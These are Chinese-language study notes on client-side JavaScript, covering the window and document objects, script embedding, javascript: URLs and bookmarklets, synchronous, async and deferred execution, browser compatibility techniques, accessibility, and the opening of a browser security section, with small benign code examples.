知识要点
1.客户端javascript
window对象是所有客户端javascript特性和API的主要接入点。它表示web浏览器的一个窗口或窗体,并且可以用window表示来引用它。window对象定义了一些属性,比如:Location对象的location属性,Location对象指定当前显示在窗口的URL,并允许脚本往窗口里载入新的URL。
//设置location属性,跳转至新的页面
window.location = "https://www.baidu.com"
window对象还定义了一些方法,比如alert(),还有setTimeout()。
注意上面的代码并没有显式的使用window 属性。在客户端javascript中,window对象 也是全局对象。这意味着window对象处于作用域链顶部,它的属性和方法实际上是全局变量和全局函数。window对象有一个自身引用的属性,叫做window。如果需要引用窗口对象本身,引用引用这个属性。但是如果只想引用全局窗口对象的属性,通常不需要用到window。
window对象还定义了很多其他重要的属性、方法和构造函数,参见14章查看完整细节。
window对象中一个重要的属性是document,它引用Document对象,后者表示显示在窗口中的文档。Document有一些重要的方法,比如getElementByid()。
getElementById()返回的Element对象有其它重要的属性和方法,比如允许脚本获取它的内容,设置属性值等。
查询、遍历和修改文档将在15章做介绍。
每个Element对象都有style和className属性,允许脚本指定元素css样式,或修改元素上的css类名。16章会讲解style和className属性和其它css编程技术。
window、Document和Element对象上另一个重要的属性集合是事件处理程序相关的属性。可以在脚本中为止绑定一个函数,这个函数会在某个事件发生时以异步的方式调用。事件处理程序可以让javascript代码修改窗口,文档和组成文档的元素的行为。事件处理程序是以单词"on"开始的,用法如下:
//当用户单击元素时,更新它的内容
timestamp.onclick = function(){this.innerHTML = new Date().toDateString();}
window对象的onload对象处理程序是最重要的事件处理程序之一。当显示在文档内的内容文档且可以操作时触发。javascript代码通常封装在onload事件处理程序里。17章会详细讲述事件。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<style type="text/css">
.reveal * {
display: none;
}
.reveal *.handle {
display: block;
}
</style>
<script type="text/javascript">
window.onload = function() { //所有页面逻辑加载完毕后启动
var element = document.getElementsByClassName("reveal");
for (var i = 0; i < element.length; i++) { //对每个元素进行遍历
var elt = element[i];
//找到容器中的“handle”元素
var title = elt.getElementsByClassName("handle")[0];
addRevealHandler(title, elt);
console.log(elt.className);
} function addRevealHandler(title, elt) {
title.onclick = function() {
if (elt.className == "reveal")
elt.className = "revealed";
else if (elt.className == "revealed")
elt.className = "reveal";
}
}
};
</script>
</head> <body>
<div class="reveal">
<h1 class="handle">文字title(Click Here)</h1>
<p>文字内容</p>
</div>
</body>
在本章的概要介绍到了,一些web页面感觉上像文档,而另一些则像应用。接下来的两节探讨javascript在两种页面类型里是如何使用的。
1.1.web文档里的javascript
javascript程序可以通过Document对象和它包含的Element对象遍历和管理文档内容。它可以通过操作css样式和类,修改文章内容的呈现。并且可以通过注册事件的处理辰星来定义文档的元素行为。内容、呈现和行为的组合叫动态HTML或者DHTML,会在13-17章里介绍到
javascript可以增强用户的体验:比如以下方式:
- 创建动画和其它视觉效果,巧妙地引导和帮助用户进行页面导航。
- 对表格进行分组,让用户更容易找到所需
- 隐藏某些内容,当用户“深入”到内容时,逐渐展示详细信息。
1.2.web应用里的javascript
在web文档库使用的javascript DHTML特性在web应用里都会用到,对于web应用来说,除了内容、呈现和操作api之外,还依赖web浏览器环境提供更基础的服务。‘
要真正的了解web应用,需要先认识web浏览器已经有很好的发展了,现在不仅仅是显示文档的角色了,而渐渐变成简易的操作系统。想一下,传统操作系统允许组织桌面和文件夹里的图标(表示文件或应用);web浏览器允许在工具栏和文件夹里组织书签(表示文档和web应用)。系统可以在一个窗口里运行多个应用;web浏览器可以在一个标签里显示多个文档。操作系统定义很多底层的API、提供绘制图形,保存文件等功能。web浏览器也定义了底层API(18章)、保存数据(20章),和绘制图形(21章)。
谨记web浏览器是简单的操作系统的概念,这样就可以把web定义问用javascript访问更多浏览器提供的高级服务(比如网络、图形和数据存储)的web页面。高级服务里最著名的是XMLHTTPRequest,可以对HTTP请求编程来启动网络。web里是固体这个从服务器获取新信息,而不用从新载入页面。类似这样的web应用通常胶Ajax应用,Ajax构成了web2.0的脊梁。XMLHTTPRequest会在18章详细介绍。
HTML5标准和相关标准为web应用定义了很多其他重要的API。包括21章的数据存储和20章的图像API,以及很多其他特性的API,如地理位置信息,历史管理和后台线程。在实现这些API后,会开启一场web应用的功能革命。这些内容在22章会介绍。
2.在html嵌入javascript
有四种方法:
- 内联 ,放置在<script></script>之间
- 放置在 <script>标签的src属性指定的文件中
- 放置在html事件处理程序中,例如onclick和onmouseover这样的HTML属性值指定。
- 放在一个URL里,这个URL使用特殊的"javascript:"协议
2.1<script>元素
以内联的形式出现在HTML里的<script>标签之间。
在XHTML中<script>标签的内容被当做其它内容一样对待。如果javascript代码包含了"<"或"&"字符,那么这些字符会被解释成xml标记,因此,如果使用XHTML,最好把所有的javascript代码放到一个CDATA部分里。
<script><![CDATA[
//这里是javascript代码
]]></script>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<script>
//定义一个函数显式当前时间
function displayTime() {
var elt = document.getElementById("clock");
var now = new Date();
elt.innerHTML = now.toLocaleTimeString(); //显式它
setTimeout(displayTime, 1000);
}
window.onload = displayTime;
</script>
</head> <body>
<div id="clock"></div>
</body>
2.2.外部文件中的脚本
<script>的src属性。
使用src属性时,<script></script>标签之间的任何内容都会忽略掉,如果需要,可以在此处不错说明文档和版权信息,但要注意,如果有任何非空格或javascript的注释文本出现在此,html5校验器会报错。
下面是一些使用src属性的javascript的优点
- 可以把大块的javascript代码从HTML文件中删除,这有助于保持内容和行为的分离
- 如果多个javascript共有相同的javascript代码,用src属性的方式可以让你只管理一份代码,而不用再代码改变时而编辑每个HTML文件。
- 如果一个javascript代码文件是多个页面共享,那么只需下载一次,通过使用它的第一个页面,随后是页面可以从浏览器缓存检索它。
- 由于src是任意的url,因此来自一个web服务器的javascript程序或web页面可以使用另一个web服务器输出的代码。很多互联网广告依赖于此。
- 从其他网站载入脚本的能力,可以让我们更好的利用缓存(CDN方式)。
从文档服务器之外的服务器里载入脚本有重要的安全隐患,6.2节介绍的同源安全策略会阻止一个域文档的javascript和另外一个域的内容进行交互。但是,要注意和脚本本身的来源并没有关系,而是和脚本嵌入的文档来源有关系。因此,同源策略和并不适合用在以下的情况,即便代码和文档有不同的来源,javascript代码也可以和它嵌入的文档进行交互,当在页面中用src脚本时,就给了脚本作者(以及从中载入这段脚本域的网站管理员)完全控制web页面的权限。
2.3.脚本类型
javascript是web元素脚本语言,而在默认的情况下,假定<script></script>包含或引用javascript代码,如果使用不标准脚本语言,如Microsoft的VBScript(只有IE支持),就必须用type指定脚本的MIME类型:
<script type="text/vbscript">
//这里是VBScript代码
</script>
type的默认属性是"text/javascript"。
当web浏览器遇到<script></script>元素,并且当这个元素里包含其值不被浏览器识别的type属性时,它会解析这个元素但不会尝试显示或者执行它的内容。这意味着可以使用<script>元素来嵌入任意文本数据倒文档里,只要用type属性声明一个不可执行的类型。要获取数据,可以用表示script元素(15章会介绍如果获取这些元素)的HTMLElement对象的text属性。但是,要注意这些数据嵌入只对内联脚本生效(steven souder著名的Controljs就是利用这个特性来控制代码的执行。)如果同时指定src属性和一个未知的类型。这个脚本会被忽略。并且不会从url下载任何内容。
2.4.HTML中的事件处理程序
当脚本所在的HTML文件被载入浏览器时,这个脚本里的javascript代码只会执行一次。为了可交互,javascript程序必须定义事件处理程序,web浏览器先注册javascript函数,并且在之后调用它作为事件的相应(比如用户输入)。
类似onclick的事情处理程序属性,用相同的名字对应到HTML属性,并且还可以通过将javascript代码放置在HTML属性里来定义事件处理程序。例如:要定义用户切换表单中的复选框调用的事件处理程序,可以作为表示复选框的html元素的属性指定处理程序的代码:
<input type="checkbox" name="options" value="gifwrap" onchange="order.options.giftwarp = this.checked" />
HTML中定义的事件处理程序的属性可以包含任意挑javascript语句,相互之间用逗号分隔。这些语句组成一个函数体,然后这个函数称为对于事件处理程序属性的值。
2.5.URL中的javascript
在URL后面跟一个javascript:协议限定符,是另外一种javascript代码到客户端的方式。这种特殊的协议类型指定URL内容为任意字符串,这个字符串会被javascript解释器运行的javascript代码。它被当做单独的一行代码对待,这意味着语句之间必须用分号隔开,而//注释必须用/**/注释代替。javascript:URL能识别“资源”是转换成字符串的执行代码的返回值。如果代码返回undefiend,那么这个资源是没有内容的。
javascript:url可以用在可以使用常规URL的任意地方:比如<a>标记的href属性,<form>的action属性,甚至window.open()方法的参数。超链接里的javascript url可以是这样的。
<a href="javascript:new Date().toLocaleTimeString()">what time it is</a>
部分浏览器(比如firefox)会执行URL里的代码,并使返回的字符串作为待显示新文档的内容。就像单击一个http:URL链接。浏览器会擦除当前文档并显示新文档。如果有HTML标签,也会等价渲染。其它浏览器(比如chrome和safari)不允许URL像上面一样覆盖当前文档,它们会忽略代码的返回值。但是,这样的url还是支持的:
<a href="javascript:alert(new Date().toLocaleTimeString())">what time it is</a>//检查时间,而不覆盖整个文档
当浏览器载入这种类型的URL时,它会执行javascript代码,但是由于没有返回值(alert()方法返回undefined),作为新的文档显示内容,类似firefox的浏览器并不会替换当前显示的文档。如果要确保javascript:URL不会替换当前的文档,可以用void操作符强制函数调用或给表达式赋予undefined值。
<a href="javascript:void window.open('about:blank')">打开一个窗口</a>
如果没有void,调用window.open()方法返回的值会(在一些浏览器里)被转化为字符串并显示,而当前文档也会被覆盖为包含该字符串的文档:[object Window]
和html事件处理程序一样,javascript:url也是web早期的产物。通常避免在现代的网页中使用。但javascript:url在html文档之外确实有着重要的角色。如果要测试一小段javascript代码,那么可以在浏览器地址栏里输入javascript:URL,下面会介绍javascript:URL另外一个正统且强大的用法:浏览器书签。
书签
在Web浏览器中,“书签”就是一个保存起来的url。如果书签是javascript:url,那么保存的就是一小段脚本,叫做bookmarklet。bookmarklet是一个小型程序,很容易就可以从浏览器的菜单或工具栏里启动。bookmarklet里的代码执行起来就像页面上的脚本一样,可以从浏览器的菜单或工具栏里启动。bookmarklet里的代码执行起来就像页面上的脚本一样,可以查询和设置文档的内容、呈现和行为。只要书签不返回值,它就可以操作当前显示的任何文档,而不把文档替换成新的内容。
考虑下面<a>标签里的javascript:url。单击连接会打开一个简单的javascript表达式计算器,它允许在页面环境中计算表达式和执行语句:
<a href='javascript:
var e="",r=""; /*需要计算的表达式和结果*/
do{
/*输出表达式和结果,并要求输入新的表达式*/
e=prompt("expression: "+e+"\n"+r+"\n",e);
try{r="result: "+eval(e);} /*尝试计算这个表达式*/
catch(ex){r=ex;} /*否则记住这个错误*/
}while(e); /*知道没有输入表达式或者单击取消按钮才会停止,否则一直执行*/
void 0; /*防止当前文档被覆盖*/
'>
javascript evaluator
</a>
注意,即使这个javascript url是写成多行的,html解析器仍将它作为单独的一行对待,并且其中单行//注释也是无效的。还有,要记住代码是单引号的html属性的一部分,所以代码不可以包含任何单引号。
在开发时,把这样的链接硬编码在页面中是有用的;而把它另存为可以在任何页面上运行的书签,就更有用了。通常,在浏览器里把超链接的地址加入书签可以这样做,在链接上右击选择类似“Bookmark Link”的选项,或者拖动链接到书签工具栏。
3.javascript里的程序的执行
客户端javascript没有严格的定义,我们可以说javascript程序是由web页面中所包含的所有的javascript代码以及嵌入的外部代码。所有的代码共用一个全局window对象。这意味着它们可以看到相同的Document对象,可以共享全局函数和变量的集合:如果一个脚本定义了新的全局变量或函数,那么这个变量或函数会在脚本执行之后对任意javascript可见。
如果一个页面包含嵌入窗体(通常使用<iframe>),嵌入的javascript和被嵌入的javascript代码会有不同的全局对象,它可以看做一个单独的javascript程序。但是,要记住,没有严格关于javascript程序范围的定义。如果外边和里边的文档来自于同一个服务器,那么两个文档中的代码就可以进行交互,并且如果你愿意,就可以把他们当做同一个程序的两个相互作用的部分。14.8.3会详细介绍window对象以及不同窗体之间的交互。
bookmarklet里的Javascript:url存在于文档之外,可以想象成是一种用户扩展或者对于其他程序的修改。当用户执行一个bookmarklet时,书签里的Javascript代码就可以访问全局对象和文档的内容,以及对它们进行操作。
javascript程序的执行有两个阶段。在第一个阶段,载入文档内容,并执行<script>元素的代码(包括内陆脚本和外部脚本)。
第二个阶段,当文档载入,所有脚本执行完成后,javascript就进入第二个阶段。这个阶段是异步的,而且是由事件驱动的。在事件驱动阶段,web浏览器调用处理程序函数,来响应时间异步事件的发生,17章。
事件在驱动阶段第一个发生的事件是load事件,表示文档已经完全载入,并可以操作。javascript经常通过这个事件来触发或发送消息。javascript程序的载入是短暂的,通常持续1到2秒,在文档载入完成之后,事件驱动阶段就会一直持续下去。因为这个阶段是异步和事件驱动的,所以可能有长时间处于不活动状态。没有javascript被执行,被用户或网络事件触发的活动打断。本章3.4 javascript执行的两个阶段。
3.1.同步、异步 或延迟的脚本
javascript第一次添加到web浏览器时,还没有api可以用来遍历和操作文档的结构内容,当文档还在载入时,javascript唯一方法就是快速生成内容。它使用document.write()完成上述内容
<script>
function factorials(n){ //用来计算阶乘的函数
if(n<=1) return n;
else return n*factorials(n-1);
}
document.write("<table>");
document.write("<tr><th>n</th><th>n!</th></tr>"); //输出表头
for(var i = 1; i<10;i++){ //输出10行
document.write("<tr><td>"+ i +"</td><td>" + factorials(i) +"</td></tr>");
}
document.write("</table>");
</script>
当脚本把文本传递给document.write()时,这个文本被添加到文档输入流中,html解析器会在当前位置创建一个文本节点,将文本插入到这个文本节点后面。
当HTML解析器遇到<script>元素时,它默认必须先执行脚本,然后再恢复文档的解析和渲染。
脚本的的执行只在默认的情况下是同步和阻塞的。<script>标签可以有defer和async属性,这可以改变脚本的执行方式。这些都是布尔属性,没有值;只需要出现在<script>标签里即可。HTML5说这些属性只在Src属性联合使用时才能有作用,但有些浏览器还支持内联的脚本。
<script defer src="1.js"></script>
<script async src="1.js"></script>
defer和async属性都像在告诉浏览器链接进来的脚本不会使用document.write(),也不会生成文档内容,因此浏览器可以在下载脚本时继续解析和渲染文档。defer属性是使得的浏览器延迟脚本的执行,直到文本的载入和解析完成,并可以操作。async属性使得浏览器可以尽快的执行脚本,而不用在下载脚本时阻塞文档解析。如果<script>标签同时有两个属性,同时支持两者的浏览器会遵循async属性并忽略defer属性。
注意,延迟的脚本会按照它们在文档里的出现顺序执行。而异步脚本在它们载入后执行,这意味着它们可能会无序执行。(多个脚本的情况下)
在不支持async的属性的浏览器里,通过动态的创建<script>元素并把它插入到文档中,来实现脚本的异步载入和执行。下面的例子中loadasync()函数完成了这个工作.
/*异步载入并执行脚本*/
//异步载入并执行一个指定url中的脚本
function loadasync(url) {
var head = document.getElementsByTagName("head")[0]; //找到<head>元素
var s = document.createElement("script"); //创建一个<script>元素
s.src = url; //设置其src属性
head.appendChild(s); //将预算插入head标签中
}
3.2.事件驱动的javascript
通过注册事件处理程序函数来写程序,之后在注册的事件发生时异步调用这些函数。
事件都有名字,比如click、change、load、mouseover、keypress、readystatechange,指示发生的事件的通用类型。事件还有目标,它是一个对象,并且事件就是在它上面发生的。当我们谈论事件时,必须指定事件的类型(名字)和目标,比如一个单击事件发生在HTMLbutton对象上,或者一个readystatechange事件发生在XMLHttpRequest对象上。
如果想要呈现响应一个事件,写一个函数,叫做“事件处理程序”、“事件监听器”、“回调”。然后注册这个函数,这样它就会在事件发生时调用它。正如前面提到的,这可以通过HTML属性来完成,不鼓励把javascript程序和HTML内容混淆在一起。反之,注册事件处理程序最简单的方法就是把javascript函数赋值给目标对象属性,类似这样写代码:
window.onload = function(){...};
document.getElementById("xx").onclick = function(){...}; function handleResponse(){...}
request.onreadystatechange = handleResponse;
注意,按照约定事件处理程序的属性的名字是以“on”开始,后面跟着事件的名字。还要注意在上面的人和代码里没有函数调用:只是把函数本身赋值给这些属性。浏览器会在这些事件发生时调用。
对于大部分浏览器事件来说,会把一个对象传递给事件处理程序作为参数,那个对象的属性提供了事件的详细信息。比如传递给单击事件的对象,会有一个属性说明那个按钮被单击。(在IE里,这些信息存储在全局event对象里,而不是传递给处理程序的函数。)事件处理程序的返回值有时用指定函数是否处理了事件。以及阻止浏览器执行它默认会进行的各种操作。
有些事件的目标是文档元素,它们经常往上传递给文档树,这个过程叫“冒泡”。
如果需要为一个事件注册多个事件处理程序函数,或者如果想要写一个可以安全注册事件处理程序的代码模块,就算另一个模块已经为相同的事件注册了一个处理程序,也需要用到另一种事件处理程序注册技术。大部分可以成为事件目标对象都有一个叫做addEventListaner()方法,允许注册多个监听器。微软目前只在IE9里实现了它。在IE8之前的浏览器中,必须使用一个相似的方法,叫做attachEvent()。
客户端javascript还使用异步通知类型,这些类型往往不是事件。如果设置window对象的onerror属性为一个函数,会发生(参阅14.6节)javascript错误(或者其它未捕获的异常)时调用函数。还有setTimeout()和setInterval()函数(这些是window对象方法,因此是客户端javascript的全局函数)会在指定的一段时间之后出发指定函数的调用。
/*当文档载入时调用一个函数*/
//注册函数f,当文档载入时执行这个函数f
//如果文档已经载入完成,尽快以异步的方式执行它
function onLoad(f) {
if (onLoad.loaded) //如果文档已经载入完成
window.setTimeout(f, 0); //将f放入异步对了,并尽快执行它
else if (window.addEventListener) //注册事件的标准方法
window.addEventListener("load", f, false);
else if (window.attachEvent)
window.attachEvent("onload", f);
}
//给onLoad设置一个标志,用来指定文档是否已经载入完成
onLoad.loaded = false;
//注册一个函数,当文档载入完成时使用这个标志
onLoad(function() {onLoad.loaded = true;});
3.3.客户端javascript线程模型
javascript语言核心并不包含任何线程机制,并且客户端javascript传统上也没有定义任何线程机制。html5定义了一种作为后台线程的"webworker",但是客户端javascript还是像严格的单线程一样工作。即使并发执行客户端JavaScript也不知晓。
单线程执行是为了让编程更加简单。编写代码时可以确保两个事件处理程序不会同一时刻运行。操作文档内容时不必担心有其它线程试图修改文档。并且永远不需要担心javascript编写时的锁死,死锁和竟态条件。
单线程执行意味这浏览器必须在脚本和事件语句程序执行时候停止响应用户输入。这为javascript程序员带来了负担。这意味这javascript脚本和事件处理程序不能运行太长事件。如果一个脚本执行计算密集的任务,它将会给文档载入带来延迟。如果事件程序执行计算密集任务,浏览器可能变得无法响应,可能导致用户认为浏览器奔溃了。
如果程序不得不执行太多计算导致明显的延迟,应该允许文档在执行这个计算之前完全载入,并确保能够告知用户正在运行计算并且浏览器没有挂起。如果有可能可以将其分解为离散子任务。可以使用setTimeout()和setInterval()在后台运行子任务,同时更新一个进度指示器向用户显示反馈。
HTML5定义了一种并发控制方式,“web worker”,它是一个用来执行计算密集任务而不冻结用户界面的后台线程。运行在web worker线程里的代码不能访问文档里的内容,不能和主线程或其它worker共享状态,只可以和主线程和其它worker通过异步事件进行通信,所以主线程不能检测并非行,而且web worker不能修改javascript程序基础单线程执行模型。22章4节会有更多相关内容。
3.4.客户端javascript时间线
- web浏览器创建Document对象,并且开始解析web页面,解析HTML元素和它们的文本内容后添加Element对象和Text节点到文档中,在这个阶段document.readystate的属性值是"loading".
- 当HTML解析器遇到async和defer属性的<script>元素时,它把这些元素添加到文档中,然后执行行内或者外部脚本。这些脚本会同步执行,并且在脚本下载(如果需要)和执行时解析器会暂停。这样脚本就可以用document.write()来把文本插入到数据流中。解析器恢复时这些文本就会成为文档的一部分。同步脚本继承简单定义函数和注册后面使用的注册事件处理程序,但它们可以遍历和操作文档树,因为他们执行时已经存在了。这样,同步脚本可以看到它自己的<script>元素和它们之前的文档内容。
- 当解析器遇到async属性的<script>元素时,它开始下载脚本文本,并继续解析文档。脚本会在它下载完成后尽快执行,但是解析器没有停下来等它下载。异步脚本禁止document.write()方法,它们可以看到自己的<script>元素和它之前的所有文档元素,并且可能或直接不放我其它文档内容。
- 当文档解析完成,document.readyState属性变成“interactive”。
- 所有defer属性脚本,会按照文档里的出现顺序执行。异步脚本可能也是会在这个时间执行,延迟脚本能访问完整的文档树,禁止使用document.write()方法。
- 浏览器在Document对象上触发DOMContentLoaded事件。这标志着程序执行从同步脚本阶段转到了异步事件驱动阶段。但要注意,这时可能还有异步脚本没有执行完成。
- 这时,文档已经完全吉祥完成,但是浏览器可能还等待其它内容的载入,如图片。当所有的内容完成载入时,document.readyState属性变成为"Complete"。浏览器从window对象开始触发load事件
- 从此刻起,会调用异步事件,以异步响应用户输入时间、网络事件、计时器过期等
这是一条理想的时间线,但是所有的浏览器都没有支持它的全部细节。
这条时间线并没有指定什么时候文档开始对用户可见或什么时候web浏览器必须开始响应用户输入事件。这些都是实现细节。对于很长的文档或非常慢的网络连接。web浏览器理论上会先渲染一部分文档。并且在脚本执行之前,就能允许用户和页面产生一些交互。这种情况下,用户输入事件可能在程序执行的事件驱动开始之前触发。
4.兼容性和互用性
web浏览器是web应用的操作系统,但是web是一个存在各种差异性的环境,web文档和应用在不同的操作系统不同开发商的不同时代的浏览器上查看和运行。
客户端javascript兼容性和交互性的问题可以归纳为以下三个类:
- 演化:新浏览器支持它但是老浏览器不支持新的特性或API。web开发者必先在使用老旧浏览器的大量用户和使用新式浏览器的少量用户之间做出权衡。
- 未实现:举例说明:IE8不支持<canvas>元素,虽然其他浏览器已经实现它了。一个更糟糕的例子是,Microsoft决定不实现DOM Level2 Event规范(它定义了addEventListener()和相关方法。。)这个规范在12年前就已经标准化了,其他浏览器厂商已经支持了很久了
- bug:每个浏览器都有bug,并且没有按照规范准确地实现所有客户端javascript API,必须研究已有浏览器中的各种bug
幸运的是,javascript语言本身是被所有浏览器厂商实现的。它不是兼容性问题的源头。
首先,要解决javascript的兼容性的问题是要了解问题的根源是什么。web浏览器版本更迭速度特别快,支持哪些特性、有什么bug。
一些有用的网站:
MOzilla开发者中心:https://developer.mozilla.org/zh-CN/
microsoft 开发者中心:https://msdn.microsoft.com/zh-cn/
apple开发者中心 safari:https://developer.apple.com/safari/resources/
Google Doctype:http://code.google.com/doctype/
*文章跟踪HTML5特性和API在各个浏览器里的实现状态:https://en.wikipedia.org/wiki/Comparison_of_layout_engines_(HTML5)
一篇跟踪DOM特性的文章:https://en.wikipedia.org/wiki/Comparison_of_layout_engines_(Document_Object_Model)
http://a.deveria.com/caniuse/
这个“何时可用...”站点跟踪重要web特性实现的状态,允许根据各种标准进行过滤,并在某个特性只剩下少量已部署的浏览器不支持时推荐使用。
根据w3c标准列出各种浏览器的DOM兼容性表格:http://quirksmode.org/dom/
跟踪开发商对web标准的实现的站点:http://webdevout.net/browser-support
当然,意识到浏览器之间的兼容性问题只是第一步。接下来,你需要解决这些不兼容性。一种策略是限制自己使用你选择支持的所有浏览器都普遍支持的特性(或者很容易模拟出的特性)。之前提出的“何时可用...”这个网站就是围绕这个策略的。它列出了所有等ie6淘汰之后才能用的新特性。
下面介绍一个有点消极的对付客户端不兼容性问题的策略。
4.1.处理兼容性问题的类库
处理不兼容问题其中一种最简单的方法就是使用类库。
IE不支持canvas,在开源的"explerer canvas"项目上有一个类库,引入一个javascript文件叫excanvas.js
还有一个强大的类库就是jQuery。
4.2.分级浏览器支持
分级浏览器支持(graded browser support)是由yahoo!率先提出的一种测试技术。从某种维度对浏览器厂商/版本/操作系统变体进行分级。分级浏览器中的A级要通过所有的功能测试用例,需要网页完全可用。C级浏览器只需在HTML完整的情况下可用即可,而不需要javascript和css都正常工作,那些不是A级和C级的浏览器都称作X级浏览器,这部分是全新或者罕见的浏览器。我们默认这些浏览器网页是完全可用的。但官方不会对X级浏览器的功能提供完整的支持和测试。
通过查阅可以知道当前比较流行的浏览器有哪些。
https://developer.yahoo.com/yui/articles/gbs/现在好像不能访问了。
4.3.功能测试
功能测试(capability testing)是解决不兼容性问题的一种强大技术。如果你想试用某个功能,但又不清楚这个功能是否在所有的浏览器中都有比较好的兼容性,则需要在脚本中添加相应的代码来检测是否在浏览器中支持该功能。如果期望使用的功能还没有被当前的平台所支持,要么不该在平台中使用它,要么提供可在平台上运行的代码。
你将会在后面的各章节中一次又一次地看到功能体验测试。例如在第17章,有如下面所示的代码:
if (element.addEventListener) { //在使用这个w3c之前首先检测它是否可用
element.addEventListener("keydown",handler, false);
element.addEventListener("keypress",handler, false);
} else if (element.attachEvent) { //在使用该ie方法之前
element.attachEvent("onkeydown", handler);
element.attachEvent("onkeypress", handler);
} else { //否则选择普遍支持的技术
element.onkeydown = element.onkeypress = handler;
}
关于功能测试最重要的是,它并不涉及浏览器开发商和浏览器版本号,代码在当前浏览器集合中有效,在浏览器后续的版本中也同样有效,而不管后续的浏览器是否实现了这些功能集合。但要注意的是:这种方法需要测试某个属性或方法是否在浏览器中已经定义了,除非该属性或方法完全可用,如果Microsoft要定义一个addEventListener()方法,但Microsoft只是实现了一部分W3c规范,在调用addEventListener()之前这将会给使用特性的代码带来很多麻烦。
4.4.怪异模式和标准模式
Microsoft在发布IE6的时候,增加了IE5里没有的很多css标准特性。但为了确保为了web内容的向后兼容性,它定义了两种不同的渲染模式。在“标准模式”或“css兼容模式”中,浏览器要遵循css标准,在“怪异模式”中,浏览器表现的和IE4和IE5中的怪异非标准模式一样,渲染模式的选择依赖于html文件顶部的DOCTYPE声明,在IE6中打开没有DOCtype的页面和声明了某些权限Doctype的页面都会按照怪异模式进行渲染。定义了html5 <!DOCTYPE HTML>的页面在所有现代浏览器都会按照标准模式渲染。
怪异模式和标准模式之间的差别经历了很长的发展历程,现在新版的ie都支持标准模式。其它主流的浏览器都支持标准模式。这两种模式都被html5规范所认可。怪异模式和标准模式之前的差异对于html和css开发者影响最大。但客户端javascript代码则需要知道文档是以哪种模式进行渲染的。要进行这种渲染模式的特性检测,通常检测document.compatMode属性。如果其值为"CSS1Compat",则说明浏览器告知在标准模式;如果其值为"BackCompat"(或undefined,说明属性不存在),说明浏览器工作在怪异模式。所有现代的浏览器都实现了compatMode属性,并且HTML5规范对它进行了标准化。
4.5.浏览器测试
有时候可能需要在某种浏览器中解决个别BUG或难题,但却没有太好的方法来检测bug的存在性。在这种情况下,需要创建一个针对某个平台的解决方案,这个方案和特定的浏览器厂商、版本或操作系统联系紧密。
在客户端javascript中检测浏览器的类型和版本的方法就是使用Navigator对象,我们将在14章学习它。把这样的代码叫做浏览器嗅探器或者客户端嗅探器。在早期,当Netscape和IE平台互不兼容的时候,客户端嗅探就是一种常见的客户端编程技术,现在的兼容性基本已经稳定,但有时还需要用到。
需要注意的是,客户端嗅探可以在服务器端完成,web服务器根据User-Agent头部可以选择地返回特定的javascript代码给客户端。
4.6.Internet Explorer里的条件注释
实际上,读者会发现客户端JavaScript编程中的很多不兼容性都是特定于IE的。也就是说,必须按照一种方式为IE编写代码,而按照另一种方式为所有其他的浏览器编写代码。IE支持条件注释(IE5引入),尽管不符合标准规范,但在处理不兼容性非常有用。
下面是HTML中的条件注释的样子。注意,HTML注释使用结束的分隔符的技巧:
<!--[if IE]>
Thiscontent is actually inside an HTML comment.
Itwill only be displayed in IE.
<![endif]--> <!--[if gte IE 6]>
Thiscontent will only be displayed by IE6 and later.
<![endif]--> <!--[if!IE]<-->
Thisis normal HTML content,but IE will not display it
<!--><![endif]--> Thisis normal content,displayed by all browsers.
例如可以给上面的excanvas.js类库使用,这样其他浏览器就不会载入了。
IE的JavaScript解释器也支持条件注释,C和C++程序员可能觉得它们和C处理器的#ifdef/#endif功能很相似。IE中的JavaScript条件注释以文本/*@cc_on开头,以文本@*/结束(cc_on stands中的cc表示有条件编译)。下面的条件注释包含了只在IE中执行的代码:
/*@cc_on
@if(@_jscript)
alert(“InIE”);
@end
@*/
在一个条件注释内部,关键字@if、@else和@end划定出了哪些是要被IE的JavaScript解释器有条件地执行的代码。大多数时候,只需要上面所示的简单的条件:@if(@_jscript)。Jscript是Microsoft自己的JavaScript解释器的名字,而@_jscript变量在IE中总是为true。
通过条件注释和常规的JavaScript注释的合理的交叉组合,可以设置在IE中运行一段代码而在所有其他浏览器中运行另一段不同的代码:
/*@cc_on
@if(@_jscript)
alert(‘Youare using Internet Explorer’);
@else*/
alert(‘Yourare not using Internet Explorer’);
*@end
@*/
5.可访问性
web是发布信息的理想工具,而javascript程序可以增强对信息的访问。然而,javascript程序员必须小心,因为程序员写代码太过随意,以至于那行有视觉障碍或肢体困难的用户没办法正确地获取信息。
盲人用户使用一种叫做屏幕阅读器的“辅助性技术”将书面的文字转换为语言词汇。有些屏幕阅读器是识别javascript的,而并一些只能在禁用javascript时才会工作得更好。如果站点过于依赖JavaScript来呈现数据的话,就会影响到使用读屏软件的用户。javascript的角色应当是增加信息的表现力,而不是负责信息的呈现。javascript可访问性的一条重要元素则是,设计代码即使在禁用javascript解释器的浏览器中也能正常使用(或至少某种形式能正常使用)。
可访问性的另一个重要原则是,对于只使用键盘但不能(或者选择不用)鼠标的用户来说,如果编写的javascript代码依赖特定的鼠标事件。这就会给那行不使用鼠标的用户排除在外。web浏览器允许使用键盘来遍历和激活一个web页面中的UI元素。并且javascript代码也应该允许这样做。正如17章所介绍,javascript支持独立设备的事件:onfocus和onchange.以及依赖于设备的事件(onmouseover和onmousedown).为了考虑到可访问性,应该尽早可能地支持独立设备的事件。
创建可访问的web页面并非鸡毛蒜皮的小事情。关心可访问性的web应用开发应该阅读这里的文档http://www.w3.org/WAI/intro/aria。
6.安全性
web浏览器包含javascript解释器,也就是说,一旦载入web页面,就可以让任意的javascript代码在计算机里执行。很明显,这里存在着安全隐患。浏览器厂商也在不断权衡下面这两个之前的博弈:
- 定义强大的客户端API,启用强大的WEB应用。
- 阻止恶意代码读取或修改数据、盗取隐私、诈骗或浪费时间。
就像在其它领域中一样,javascript也在盘根错节的安全漏洞和补丁之前不断的发展变化。
下面几节会介绍javascript的安全限制和安全问题,这些问题是每个web开发者都需要意识到的。
6.1.javascript不能做什么
web浏览器征对恶意代码的第一条防线就是他们不支持某些功能。例如,客户端javascript没有权限来写入或删除客户计算机上的任意文件或列出任意目录。这意味着javascript不能删除数据或植入病毒。(22章介绍javascript如何实现安全隐私文件系统,以及如何读取和写入文件。)
